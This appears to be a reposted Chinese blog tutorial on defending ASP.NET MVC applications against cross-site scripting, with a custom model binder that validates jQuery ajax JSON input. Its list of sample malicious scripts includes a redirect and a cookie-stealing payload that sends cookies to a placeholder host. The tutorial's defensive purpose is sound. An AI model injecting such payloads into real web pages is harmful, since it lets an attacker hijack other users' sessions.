Web安全相關(一):跨站腳本攻擊(XSS)


簡介

  跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的,比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
 

一些場景

  1. 惡意攻擊者可以在個人介紹里面插入惡意代碼,那么其他用戶訪問他的個人信息時,就會執行惡意代碼。

  2. 惡意攻擊者可以發表一篇文章,取一個吸引眼球的標題,在內容里插入惡意代碼,那么用戶查看這篇文章時,就會執行惡意代碼。

  3. 惡意攻擊者在一些熱門文章或帖子里的回復或留言中插入惡意代碼,那么用戶瀏覽到他的回復或留言時,就會執行惡意代碼。

 

防止XSS的兩個階段

  1. 提交數據時,就對數據進行驗證,如果含有惡意腳本,則不讓數據進庫,ASP.NET MVC默認是會做這個驗證。如下圖,如果試圖插入惡意腳本,就會得到一個HttpRequestValidationException。注:圖2紅色框中的方法后續會提到。

  

圖1

 

圖2

 

  如果我們需要允許腳本入庫,可以在對應的Action上加上[ValidateInput(false)]。此時惡意腳本還不能產生威脅,因為還有后面一個階段的防止措施。

  

 圖3

 

圖4

 

  2. 輸出數據時,對輸出的內容采用HTML編碼,惡意腳本不會被執行。而且,MVC的Razor語法默認就采用HTML編碼。但是如果我們采用Html.Raw()來輸出內容的話,惡意腳本就會產生威脅。

  

圖5

 

圖6

 

一些惡意腳本

  1. 簡單的彈窗或者內容顯示。
  <script>alert('你被黑了!')</script>
 
  2. 導航到惡意網站。注:這里只是使用百度網站作為導航演示,並不是說百度網站是惡意網站。
    <script>window.location.href='http://www.baidu.com';</script>
 
  3.  獲取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href='http://www.example.com?cookies=document.cookie';</script>
 

$.ajax數據驗證失效?

  我們假設我們的需求是不允許含有惡意腳本的數據進庫的,但是我們使用了jquey的ajax進行交互。

  

圖7

 

圖8

 

圖9

  

圖10

 

  數據還是進庫,為什么呢?我們來研究下圖2紅框中的方法。

圖11

 

圖12

  從圖12中,我猜測MVC會對Request中的以上內容進行驗證,可是jquery ajax的數據是存在Request的Content里面的,因此,默認的驗證對jquery ajax並沒有效果。

 

$.ajax數據驗證實現

  要對$.ajax進行數據驗證,我從ModelBinder下手。具體代碼如下:

    public class AjaxModelBinder : DefaultModelBinder
    {
        protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
        {
            var contentType = controllerContext.HttpContext.Request.ContentType;

            if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
                value is string &&
                controllerContext.Controller.ValidateRequest &&
                bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
            {
                if (IsDangerousString(value.ToString()))
                {
                    throw new HttpRequestValidationException("在請求中檢測到有潛在危險的值!");
                }
            }

            return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
        }

        /// <summary>
        /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
        /// </summary>
        private static bool IsDangerousString(string str)
        {
            var startingChars = new[] { '<', '&' };
            var startIndex = 0;

            while (true)
            {
                var index = str.IndexOfAny(startingChars, startIndex);

                if (index < 0)
                {
                    return false;
                }

                if (index == (str.Length - 1))
                {
                    return false;
                }

                var ch = str[index];

                if (ch != '&')
                {
                    if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
                    {
                        return true;
                    }
                }

                else if (str[index + 1] == '#')
                {
                    return true;
                }

                startIndex = index + 1;
            }
        }

        private static bool IsAtoZ(char c)
        {
            return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
        }
    }
View Code

 

   然后在Global.asax.cs中注冊AjaxModelBinder。

  

圖13

   那么,輸入數據有惡意腳本時就會被檢測出來。

圖14

  關於AjaxModelBinder中的IsDangerousString方法,我是從.Net的源碼拷貝過來的。

  

圖15

  另外,如果需要對js顯示內容進行編碼,可以使用Ajax.JavaScriptStringEncode()方法。

 

AntiXSS第三方組件

  如果使用.Net4.0及以上的版本,那么就不需要引入AntiXSS,因為.Net 4.0已經把AntiXSS集成進來了。如果是其他版本則需要引入。

 

XSS掃描檢測工具

  我之前的公司有專門的測試團隊,他們用工具可以對程序進行掃描找出有風險的頁面,並給出建議。現在想了解下這方面的工具,如果有對這方面了解的朋友,歡迎給我推薦工具。

 

源碼下載

  為了方便使用,我沒有使用任何數據庫,而是用了一個文件來存儲數據。代碼下載后可以直接運行,無需配置。

  下載地址:https://github.com/ErikXu/XSS

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM